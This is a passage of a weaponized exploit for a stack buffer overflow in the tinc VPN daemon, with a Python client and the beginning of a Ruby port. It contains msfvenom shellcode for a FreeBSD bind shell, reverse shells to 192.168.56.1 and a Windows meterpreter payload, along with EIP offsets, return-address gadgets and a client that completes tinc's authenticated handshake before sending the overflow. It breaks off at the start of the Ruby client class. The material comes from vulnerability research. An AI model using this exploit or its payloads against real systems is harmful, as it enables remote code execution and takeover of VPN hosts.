#Now we see that a pointer to our payload is again second on the stack. That means we need
#to find an address that points to some pop r32#ret, but this time for the freebsd version.
#It's not as easy as on windows, because we don't have something like mona findwild and gdb is
#not even correctly showing the disassembly at eip. That's why we dumped the .text part of the
#tincd binary in gdb, opened it in a hex editor and simply searched for the following bytes/opcodes
#that represent "pop r32#ret":
#58c3
#5bc3
#59c3
#5ac3
#5dc3
#5ec3
#5cc3
#5fc3
#We actually found a couple of 5dc3. We then calculated the correct address by using the
#start of the .text section plus the offset in the dumped memory. The first couple of 5dc3
#didn't work, but we found one at the following address that works very well:
eip = "\xBB\xBA\x04\x08" #eip for pop %ebp#ret for bsd --> 0x0804BABB
#so here we go:
#./msfvenom -p bsd/x86/shell_bind_tcp -f c
bind_shell_bsd = ("\x31\xc0\x50\x68\xff\x02\x11\x5c\x89\xe7\x50\x6a\x01\x6a\x02"
"\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd\x80\x89"
"\x47\xec\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50\x6a\x5a\x58"
"\xcd\x80\xff\x4f\xe4\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80")
#$ ./msfvenom -p bsd/x86/shell_reverse_tcp LHOST=192.168.56.1 -f c
reverse = ("\x68\xc0\xa8\x38\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50"
"\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62"
"\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50"
"\xb0\x3b\xcd\x80")
#$ ./msfvenom -p bsd/x86/exec CMD="/usr/bin/touch /tmp/kkk" -f c
touch = (
"\x6a\x3b\x58\x99\x52\x68\x2d\x63\x00\x00\x89\xe7\x52\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\xe8\x18\x00\x00"
"\x00\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x74\x6f\x75\x63\x68"
"\x20\x2f\x74\x6d\x70\x2f\x6b\x6b\x6b\x00\x57\x53\x89\xe1\x52"
"\x51\x53\x50\xcd\x80")
shellcode = touch
payload_freebsd = shellcode+"\x90"*(offset-len(shellcode))+eip #pwn!








#
#Logic part
#

#NETWORK LAYER order (according to successful exploitation run monitored in wireshark):
#1. SYN, SYN/ACK, ACK - further TCP ACK's are not included
#2. ID, client PSH: "0 testnode2 17.0"
#3. ID, server PSH: "0 testnode2 17.0"
#4. Metakey, client PSH: "1 94 64 0 0 VALUE_1"
#5. Metakey, server PSH: "1 94 64 0 0 VALUE_2"
#6. Receive Challenge from server, server PSH: 515 bytes - 3f8a4c...
#7. Send Challenge to server, client PSH: 520 bytes - cdca80...
#--->9. Challenge Reply from server, server PSH: 43 bytes - d34d78...
#--->8. Challenge Reply to server, client PSH: 48 bytes - c2f415...
#--->11. ACK part1 of server, server PSH: 11 bytes - 93fdcf...
#--->10. ACK of client, client PSH: 16 bytes - 7ffca1...
#12. ACK part2 of server, server PSH: 69 bytes - e6051a...
#13. attack, client PSH: payload - 9d6a94...

#PROGRAM order (according to printing raw data before sending/after receiving - threading could get in the way of print!):
#1. SYN, SYN/ACK, ACK - further TCP ACK's are not included
#2. ID, client PSH: "0 testnode2 17.0"
#3. ID, server PSH: "0 testnode2 17.0"
#4. Metakey, client PSH: "1 94 64 0 0 VALUE_1"
#5. Metakey, server PSH: "1 94 64 0 0 VALUE_2"
#6. Receive Challenge from server, server PSH: 515 bytes - 3f8a4c...
#7. Send Challenge to server, client PSH: 520 bytes - cdca80...
#8. Challenge Reply to server, client PSH: 48 bytes - c2f415...
#9. Challenge Reply from server, server PSH: 43 bytes - d34d78...
#10. ACK of client, client PSH: 16 bytes - 7ffca1...
#11. ACK part1 of server, server PSH: 11 bytes - 93fdcf...
#12. ACK part2 of server, server PSH: 69 bytes - e6051a...
#13. attack, client PSH: payload - 9d6a94...


class TincExploitClient(asyncore.dispatcher):

    def __init__(self, host, port, server_file, client_file, payload):
        asyncore.dispatcher.__init__(self)
        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connect((host, port))
        
        self.buffer = ''
        self.id()
        self.inbuffer = bytearray()
        
        self.payload = payload

        self.encryption_queue = [] # array of messages
        self.decryption_queue = bytearray()

        self.state = 'id'
        self.cryptomode_in = False
        
        self.bfblocksize = Blowfish.block_size
        self.key_stream = bytearray()
        
        self.client_private_key_cipher = None
        self.key_len = None
        
        self.hex_enc_key_S1 = None
        self.bf_enc_cipher = None
                
        self.initCiphers(server_file, client_file)
        
        self.bf_dec_cipher = None #gets set up when we get the server info
        
    def initCiphers(self, server_file, client_file):
        server_public_key_cipher = RSA.importKey(open(server_file).read())
        server_public_key_cipher_len =  (server_public_key_cipher.size() + 1)/8
        
        # parse client private key
        self.client_private_key_cipher = RSA.importKey(open(client_file).read())
        client_private_key_cipher_len =  (self.client_private_key_cipher.size() + 1)/8
        
        #must be same length
        assert(server_public_key_cipher_len == client_private_key_cipher_len)
        self.key_len = server_public_key_cipher_len
        
        #create random key
        key_S1 = os.urandom(self.key_len)
        print "random key: " + binascii.hexlify(key_S1)
        
        # encrypt rnd_key with rsa key
        enc_key_S1 = server_public_key_cipher.encrypt(key_S1, "")[0]
        self.hex_enc_key_S1 = binascii.hexlify(enc_key_S1)
        print "hex_enc_key_S1: " + self.hex_enc_key_S1
        
        # setup encryption
        bf_enc_key = key_S1[240:256]
        bf_enc_iv = key_S1[232:240]
        
        self.bf_enc_cipher = Blowfish.new(bf_enc_key, Blowfish.MODE_OFB, bf_enc_iv)
        
        #test cipher
        #fails: ValueError: Input strings must be a multiple of 8 in length
        #print "Testing cipher: "+self.bf_enc_cipher.encrypt("A"*10).encode("hex")
        #works:
        #print "Testing cipher: "+self.bf_enc_cipher.encrypt("A"*8).encode("hex")
        
    #
    # Helper function for byte-wise Output Feedback Mode decryption
    #
    # We use pycrypto to encrypt/decrypt data, but their OFM mode works
    # only on full blocks. The meta protocol requires encryption/decryption
    # on a byte basis. We use this helper function to decrypt incoming data
    # and add padding spaces to outgoing messages to use the default OFM
    # implementation.
    def decrypt(self, msg):
        #print "Cipher text:", str(msg).encode("hex")
        cleartext = ""
        while len(self.key_stream) < len(msg) + 8:
            ks = self.key_stream[len(self.key_stream)-8:]
            ks2 = self.bf_dec_cipher.encrypt(buffer(ks))
            self.key_stream.extend(bytearray(ks2))
        for d in msg:
            key_byte = self.key_stream.pop(0)
            cleartext += chr(key_byte ^ d)
        return cleartext
    
    def handle_connect(self):
        pass

    def handle_close(self):
        self.close()

    def handle_read(self):
        data = self.recv(8192)
        #self.receive_it(data)
        self.inbuffer += data
        
        print "waiting for %s - buffer-len=%d)" % \
            (self.state, len(self.inbuffer))

        if self.state == 'id':
            if(self.has_line()):
                print "\n++ Receive ID"
                data = self.get_line()
                print "received data: [%s]" % (data)
                self.state = 'metakey'
                self.metakey()                

        if self.state == 'metakey':
            if(self.has_line()):
                print "\n++ Receive METAKEY"
                data = self.get_line()
                print "received data: [%s]" % (data)
                data = data.split(' ')
                assert(data[0] == '1')
                hexkey_S2 = data[5].rstrip('\n')
                assert(len(hexkey_S2) == 512)
                self.enckey_S2 = binascii.unhexlify(hexkey_S2)
                key_S2 = self.client_private_key_cipher.decrypt(self.enckey_S2)

                print "key: " + binascii.hexlify(key_S2)

                # setup decryption
                bf_dec_key = key_S2[240:256]
                bf_dec_iv = key_S2[232:240]
                self.bf_dec_cipher = Blowfish.new(bf_dec_key, Blowfish.MODE_ECB)
                #global key_stream
                self.key_stream = bytearray( self.bf_dec_cipher.encrypt(bf_dec_iv))
                print "IV set"
                
                self.state = "challenge" # next expected state
                self.challenge()

        if self.state == 'challenge':
            need_len = 515
            if len(self.inbuffer) >= need_len:
                print "\n++ Receive CHALLENGE"
                data = self.pop_inbuffer_and_decrypt(need_len)
                print "Got challenge: [%s]" % (data)

                data = data.split(" ")
                assert(data[0] == "2")
                challenge2 = data[1][0:512]
                #print "Got challenge: [%s]" % (challenge2)
                challenge2 = binascii.unhexlify(challenge2)
                assert(len(challenge2) == 256)
                
                self.state = "challenge_reply"
                self.challenge_reply(challenge2)

        if self.state == 'challenge_reply':
            need_len = 43
            if len(self.inbuffer) >= need_len:
                print "\n++ Receive CHALLENGE REPLY"
                data = self.pop_inbuffer_and_decrypt(need_len).encode("hex") #"".join(map(chr, self.pop_inbuffer(need_len)))
                #data = self.decrypt(data)
                print "Got challenge reply: " + data
                self.state = "ack"
                self.ack()

        if self.state == 'ack':
            need_len = 12
            if len(self.inbuffer) >= need_len:
                data = self.pop_inbuffer_and_decrypt(need_len).encode("hex") #"".join(map(chr, self.pop_inbuffer(need_len)))
                #data = self.decrypt(self.bf_dec_cipher, data)
                print "Got ack: " + data
                self.overflow()


    def writable(self):
        return ((len(self.buffer) > 0) or (len(self.encryption_queue) > 0))
        
    #def send_it(self, buffer):
    #    print "####SENDING BUFFER: "+buffer.encode("hex")
    
    #def receive_it(self, buffer):
    #    print "####RECEIVING BUFFER: "+buffer.encode("hex")

    def handle_write(self):

        # send data
        #self.send_it(self.buffer)
        sent = self.send(self.buffer)
        self.buffer = self.buffer[sent:]
        print "send %d bytes (crypto-queue-len=%d msg,buffer-len=%d)" % (sent, len(self.encryption_queue), len(self.buffer))

        # handle encryption queue
        if len(self.encryption_queue) > 0:

            msg = self.encryption_queue.pop(0)
            print msg
            self.buffer += self.bf_enc_cipher.encrypt(msg)

        print "encryption-queue len: %d messages" % (len(self.encryption_queue))

        # send data
        #self.send_it(self.buffer)
        sent = self.send(self.buffer)
        self.buffer = self.buffer[sent:]
        print "send %d bytes (crypto-queue-len=%d msg,buffer-len=%d)" % (sent, len(self.encryption_queue), len(self.buffer))

    def pop_inbuffer(self, size):
        data = self.inbuffer[:size]
        self.inbuffer = self.inbuffer[size:]
        return data
    
    def pop_inbuffer_and_decrypt(self, size):
        data = self.inbuffer[:size]
        self.inbuffer = self.inbuffer[size:]
        data = self.decrypt(data)
        return data

    def get_line(self):
        idx = self.inbuffer.index('\n')
        data = self.inbuffer[:idx]
        self.inbuffer = self.inbuffer[idx+1:]
        return data

    def has_line(self):
        if '\n' in self.inbuffer:
            return True
        else:
            return False
    
    def id(self):
        print "\n++ Send ID"
        msg = "0 testnode2 17.0\n".replace("testnode2","home")
        print "id msg len: %d" % (len(msg))
        self.buffer += msg

    def metakey(self):
        print "\n++ Send METAKEY"
        msg = "1 94 64 0 0 %s\n" % (self.hex_enc_key_S1)
        print "metakey msg len: %d" % (len(msg))
        self.buffer += msg

    def challenge(self):
        print "\n++ Send CHALLENGE"
        challenge = os.urandom(self.key_len)
        msg = "2      %s\n" % (binascii.hexlify(challenge))
        self.encryption_queue.append(msg)

    def challenge_reply(self, challenge2):
        print "\n++ Send CHAL_REPLY"
        h = SHA.new()
        h.update(challenge2)
        msg = "3      %s\n" % (h.hexdigest().upper())
        self.encryption_queue.append(msg)

    def ack(self):
        print "++ Send ACK"
        self.encryption_queue.append("4 %d 123 0    \n" % (TCP_PORT))

    def overflow(self):
        print "++ Peng"
        buffer = self.payload #"\n" + payload #--> removed the \n so we can directly jump to second value on stack
        msg = "17 %d\n%s" % (len(buffer), buffer)

        plen = self.bfblocksize - divmod(len(msg),self.bfblocksize)[1]
        msg += 'B' * plen # append padding
        self.encryption_queue.append(msg)

payload = payload_winxp
if target.lower() == "win7":
    payload = payload_win7
elif target.lower() == "freebsd":
    payload = payload_freebsd
client = TincExploitClient(TCP_IP, TCP_PORT, server_public_key_file, client_private_key_file, payload)
asyncore.loop()

And here we go with the Ruby version:

=begin
Author of exploitation part (all platforms), changes to the original PoC crash for reliability, port from python to ruby, metasploit module: floyd <floyd at floyd dot ch>
Original PoC Author, finding: Martin Schobert <schobert@sitsec.net>

Windows XP&7: The PoC now consists of two shellcodes, calc for XP and meterpreter for Windows 7 to 192.168.56.1:4444
That means now it's weaponized. Only tested on XP and Windows 7 with tinc-1.1pre6.

Ubuntu: A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because
the bug is in a fixed size (MAXSIZE) struct member variable. Therefore the size of the destination is known 
at compile time. gcc is introducing a call to __memcpy_chk:

http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c

memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print 
*** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 (Jun 29 2012 14:10:44) 
which can be installed from the repository. It might be exploitable for versions compiled with an older version of gcc.
memcpy_chk seems to be in gcc since 2005: 

http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c


http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088

FreeBSD: Exploitable, of course other eip for pop#ret, but same eip offset, tested under FreeBSD 9.1-RELEASE #0, tested with tinc version 1.0.19
from the ports. Manually calculated offset of a pop#ret with offset in tincd binary.

<original comment PoC>

Unweaponized proof of concept code to demonstrate a vulnerability in the
tinc VPN software. This PoC was tested against tinc version 1.1-pre6 and
1.0.19.

http://www.sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/

Author: Martin Schobert <schobert@sitsec.net>
</original comment PoC>

=end


require 'securerandom'
require 'openssl'
require 'digest/sha1'
require 'eventmachine'

#
# config
#

# host to attack
TCP_IP = "192.168.56.102"
TCP_PORT = 655

# The server's public key (usually from C:\Program Files\tinc\hosts\ or /usr/local/etc/tinc/testnet/hosts/),
# but with the config stuff removed
server_public_key_file = "rsa_key.pub"

# The client's private key
client_private_key_file = "rsa_key.priv"

#target OS
target = "freebsd" #winxp (calc.exe), win7 (meterpreter/reverse_tcp lhost=192.168.56.1), freebsd (bsd/x86/shell_bind_tcp)




#
#Exploitation part WINDOWS XP and 7 (can be used to see Ubuntu __memcpy_chk)
#
#From original PoC
length = 1682
payload_winxp = "A"*length
#C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5"
#!mona config -set workingfolder c:\logs\%p
#!mona pc 1682
#from C:\logs\tincd\pattern
cyclic = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce"
payload_winxp = cyclic
#!mona findmsp
#--> EIP overwritten with normal pattern : 0x64433864 (offset 1675)
offset = 1675
payload_winxp = "A"*offset + "BCDE"
#looks like second value on stack is pointing into our payload...
payload_winxp = "ABCD"+"E"*(offset-4)+"BCDE"
#removed \n from "\n"+payload in logic below from the original PoC
#so of course now we have to adjust everything we did until now:
length = 1683
offset = 1676 #original poc-offset is probably 1683 now
#search for pop; ret;
#!mona findwild -type instr -s "pop r32#ret"
#--> found 14739 pointers... so let's be very picky today (because we can):
#!mona findwild -n -cp asciiprint -type instr -s "pop r32#ret"
#--> found 348 pointers. e.g.
#0x662c4d71 : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
#0x662d3e7d : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
#0x662d6e5e : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
#0x662e1522 : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
eip = "qM,f" #"\x71\x4d\x2c\x66"
#This was just "nice to look at", but maybe it would be better to find a os-independent pointer, so we could use it for all os
#!mona findwild -o -type instr -s "pop r32#ret"
#--> found 4049 pointers. e.g.
#0x004fbd0e : pop esi # retf | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x004a0293 : pop ecx # retf 4 | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x00467de4 : pop ebx # retn 3956 | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x00480990 : pop ebx # retn 3956 | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x0051a9c3 : pop esi # retf 0bc3b | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x0051a9cb : pop esi # retf 0bc3b | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x0041caa6 : pop eax # retn | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#eip = "\x0e\xbd\x4f\x00" #Nope! Access violation when reading [FFFFFFFF]
#eip = "\xe4\x7d\x46\x00" #Nope! Access violation when writing to [00232B7A]
eip = "\xa6\xca\x41\x00" #works fine on XP and on Windows 7
payload_winxp = "\xcc"*offset+eip #cc for int3
#works fine, our breakpoints get hit
calc_for_xp = "\x31\xC9"\
        "\x51"\
        "\x68\x63\x61\x6C\x63"\
        "\x54"\
        "\xB8\xC7\x93\xC2\x77"\
        "\xFF\xD0" #  this one is not really reliable, MOV EAX, msvcrt.system hard coded
shellcode = calc_for_xp
payload_winxp = shellcode+"\x90"*(offset-shellcode.length)+eip


#$ ./msfvenom -p windows/meterpreter/reverse_tcp exitfunc=thread lhost=192.168.56.1 -f c
meterpreter_win7 = ""\
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"\
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"\
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"\
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"\
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"\
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"\
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"\
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"\
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"\
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"\
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"\
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"\
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"\
"\x05\x68\xc0\xa8\x38\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10"\
"\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e"\
"\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"\
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"\
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"\
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"\
"\x85\xf6\x75\xec\xc3"
shellcode = meterpreter_win7
payload_win7 = shellcode+"\x90"*(offset-shellcode.length)+eip



#
#Exploitation part FREEBSD
#
#Using the windows exploit, we see that again, our eip gets executed (same offset as windows!),
#this means it's vulnerable. Used the version from ports, tinc version 1.0.19 
#(built Apr 11 2013 16:50:07, protocol 17)
#
#Reusing: offset = 1676
#Now we see that a pointer to our payload is again second on the stack. That means we need
#to find an address that points to some pop r32#ret, but this time for the freebsd version.
#It's not as easy as on windows, because we don't have something like mona findwild and gdb is
#not even correctly showing the disassembly at eip. That's why we dumped the .text part of the
#tincd binary in gdb, opened it in a hex editor and simply searched for the following bytes/opcodes
#that represent "pop r32#ret":
#58c3
#5bc3
#59c3
#5ac3
#5dc3
#5ec3
#5cc3
#5fc3
#We actually found a couple of 5dc3. We then calculated the correct address by using the
#start of the .text section plus the offset in the dumped memory. The first couple of 5dc3
#didn't work, but we found one at the following address that works very well:
eip = "\xBB\xBA\x04\x08" #eip for pop %ebp#ret for bsd --> 0x0804BABB
#so here we go:
#./msfvenom -p bsd/x86/shell_bind_tcp -f c
bind_shell_bsd = "\x31\xc0\x50\x68\xff\x02\x11\x5c\x89\xe7\x50\x6a\x01\x6a\x02"\
"\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd\x80\x89"\
"\x47\xec\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50\x6a\x5a\x58"\
"\xcd\x80\xff\x4f\xe4\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f"\
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"
#$ ./msfvenom -p bsd/x86/shell_reverse_tcp LHOST=192.168.56.1 -f c
reverse = "\x68\xc0\xa8\x38\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50"\
"\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62"\
"\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68"\
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50"\
"\xb0\x3b\xcd\x80"
#$ ./msfvenom -p bsd/x86/exec CMD="/usr/bin/touch /tmp/kkk" -f c
touch = "\x6a\x3b\x58\x99\x52\x68\x2d\x63\x00\x00\x89\xe7\x52\x68\x6e"\
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\xe8\x18\x00\x00"\
"\x00\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x74\x6f\x75\x63\x68"\
"\x20\x2f\x74\x6d\x70\x2f\x6b\x6b\x6b\x00\x57\x53\x89\xe1\x52"\
"\x51\x53\x50\xcd\x80"
shellcode = touch
payload_freebsd = shellcode+"\x90"*(offset-shellcode.length)+eip #pwn!




#
#Logic, client implementation and overflow part
#

#NETWORK LAYER order (according to successful exploitation run monitored in wireshark):
#1. SYN, SYN/ACK, ACK - further TCP ACK's are not included
#2. ID, client PSH: "0 testnode2 17.0"
#3. ID, server PSH: "0 testnode2 17.0"
#4. Metakey, client PSH: "1 94 64 0 0 VALUE_1"
#5. Metakey, server PSH: "1 94 64 0 0 VALUE_2"
#6. Receive Challenge from server, server PSH: 515 bytes - 3f8a4c...
#7. Send Challenge to server, client PSH: 520 bytes - cdca80...
#--->9. Challenge Reply from server, server PSH: 43 bytes - d34d78...
#--->8. Challenge Reply to server, client PSH: 48 bytes - c2f415...
#--->11. ACK part1 of server, server PSH: 11 bytes - 93fdcf...
#--->10. ACK of client, client PSH: 16 bytes - 7ffca1...
#12. ACK part2 of server, server PSH: 69 bytes - e6051a...
#13. attack, client PSH: payload - 9d6a94...

#PROGRAM order (according to printing raw data before sending/after receiving - threading could get in the way of print!):
#1. SYN, SYN/ACK, ACK - further TCP ACK's are not included
#2. ID, client PSH: "0 testnode2 17.0"
#3. ID, server PSH: "0 testnode2 17.0"
#4. Metakey, client PSH: "1 94 64 0 0 VALUE_1"
#5. Metakey, server PSH: "1 94 64 0 0 VALUE_2"
#6. Receive Challenge from server, server PSH: 515 bytes - 3f8a4c...
#7. Send Challenge to server, client PSH: 520 bytes - cdca80...
#8. Challenge Reply to server, client PSH: 48 bytes - c2f415...
#9. Challenge Reply from server, server PSH: 43 bytes - d34d78...
#10. ACK of client, client PSH: 16 bytes - 7ffca1...
#11. ACK part1 of server, server PSH: 11 bytes - 93fdcf...
#12. ACK part2 of server, server PSH: 69 bytes - e6051a...
#13. attack, client PSH: payload - 9d6a94...

#Problematic things (aka things I did wrong):
#1. In some versions the server will send back plaintext and encrypted data in the same TCP packet, you should
#   consider that when designing the client state handler...
#2. If you port from python to ruby, don't mix up the string index and .. and ... methods. Otherwise you can run
#   into a situation where you chop off one byte, but only if the network-in buffer already has one, which makes
#   it randomly fail... stupid me

class TincExploitClient < EventMachine::Connection
  def initialize(server_file, client_file, payload)
